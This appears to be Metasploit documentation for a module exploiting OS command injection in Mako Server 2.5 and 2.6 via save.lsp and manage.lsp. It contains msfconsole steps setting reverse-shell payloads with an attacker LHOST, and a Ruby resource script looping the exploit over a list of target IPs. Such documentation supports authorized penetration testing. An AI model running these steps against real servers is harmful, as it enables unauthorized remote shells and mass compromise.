List of CVEs: -
This module exploits a vulnerability found in Mako Server v2.5, 2.6. It's possible to inject arbitrary OS commands in the Mako Server tutorial page through a PUT request to save.lsp. Attacker input will be saved on the victims machine and can be executed by sending a GET request to manage.lsp.
Module Ranking and Traits
Module Ranking:
- excellent: The exploit will never crash the service. This is the case for SQL Injection, CMD execution, RFI, LFI, etc. No typical memory corruption exploits should be given this ranking unless there are extraordinary circumstances. More information about ranking can be found here.
Basic Usage
Using makoserver_cmd_exec against a single host
Normally, you can use exploit/multi/http/makoserver_cmd_exec this way:
msf > use exploit/multi/http/makoserver_cmd_exec
msf exploit(makoserver_cmd_exec) > show targets
... a list of targets ...
msf exploit(makoserver_cmd_exec) > set TARGET target-id
msf exploit(makoserver_cmd_exec) > show options
... show and set options ...
msf exploit(makoserver_cmd_exec) > exploit
Using makoserver_cmd_exec against multiple hosts
But it looks like this is a remote exploit module, which means you can also engage multiple hosts.
First, create a list of IPs you wish to exploit with this module. One IP per line.
Second, set up a background payload listener. This payload should be the same as the one your makoserver_cmd_exec will be using:
- Do:
use exploit/multi/handler
- Do:
set PAYLOAD [payload]
- Set other options required by the payload
- Do:
set EXITONSESSION false
- Do:
run -j
At this point, you should have a payload listening.
Next, create the following script. Notice you will probably need to modify the ip_list path, and payload options accordingly:
<ruby>
#
# Modify the path if necessary
#
ip_list = '/tmp/ip_list.txt'
File.open(ip_list, 'rb').each_line do |ip|
print_status("Trying against #{ip}")
run_single("use exploit/multi/http/makoserver_cmd_exec")
run_single("set RHOST #{ip}")
run_single("set DisablePayloadHandler true")
#
# Set a payload that's the same as the handler.
# You might also need to add more run_single commands to configure other
# payload options.
#
run_single("set PAYLOAD [payload name]")
run_single("run")
end
</ruby>
Next, run the resource script in the console:
msf > resource [path-to-resource-script]
And finally, you should see that the exploit is trying against those hosts similar to the following MS08-067 example:
msf > resource /tmp/exploit_hosts.rc
[*] Processing /tmp/exploit_hosts.rc for ERB directives.
[*] resource (/tmp/exploit_hosts.rc)> Ruby Code (402 bytes)

Vulnerable Application
This module exploits a vulnerability found in Mako Server v2.5, 2.6. It's possible to inject arbitrary OS commands in the Mako Server tutorial page through a PUT request to save.lsp. Attacker input will be saved on the victims machine and can be executed by sending a GET request to manage.lsp.
Based on the public PoC found here: https://blogs.securiteam.com/index.php/archives/3391
Mako Server is an application framework for designing web and IoT applications.
This module has been verified against the following Mako Server versions for Windows XP SP3, Windows 7 SP1 and Linux Ubuntu 16.04 LTS: - v2.5 - v2.6
Links: - Windows x86 installer - Windows download page - Linux x64 installer - Linux download page - Documentation
Verification Steps
Windows
- Run the installer "mako.windows.x86" on a Windows 7 SP1 (x86/x64) target (with Powershell for this example to work)
- After installer finishes, double click the "Mako-Demo" shortcut on the desktop
- Start msfconsole on host
- Do:
use exploit/multi/http/makoserver_cmd_exec
- Do:
set RHOST <IP address of target system>
- Do:
set PAYLOAD cmd/windows/reverse_powershell
- Do:
set LHOST <IP address of host system>
- Do:
exploit
- You should get a Windows command shell
Verification Steps
Linux
- Extract the "mako.linux-x64.tar.gz" on a Linux Ubuntu 16.04 LTS (x64) target (with Python for this example to work)
- From inside the extracted folder, do
./rundemo.sh
- Start msfconsole on host
- Do:
use exploit/multi/http/makoserver_cmd_exec
- Do:
set RHOST <IP address of target system>
- Do:
set PAYLOAD cmd/unix/python_reverse
- Do:
set LHOST <IP address of host system>
- Do:
exploit
- You should get a Linux command shell (may need to wait ~30 seconds)
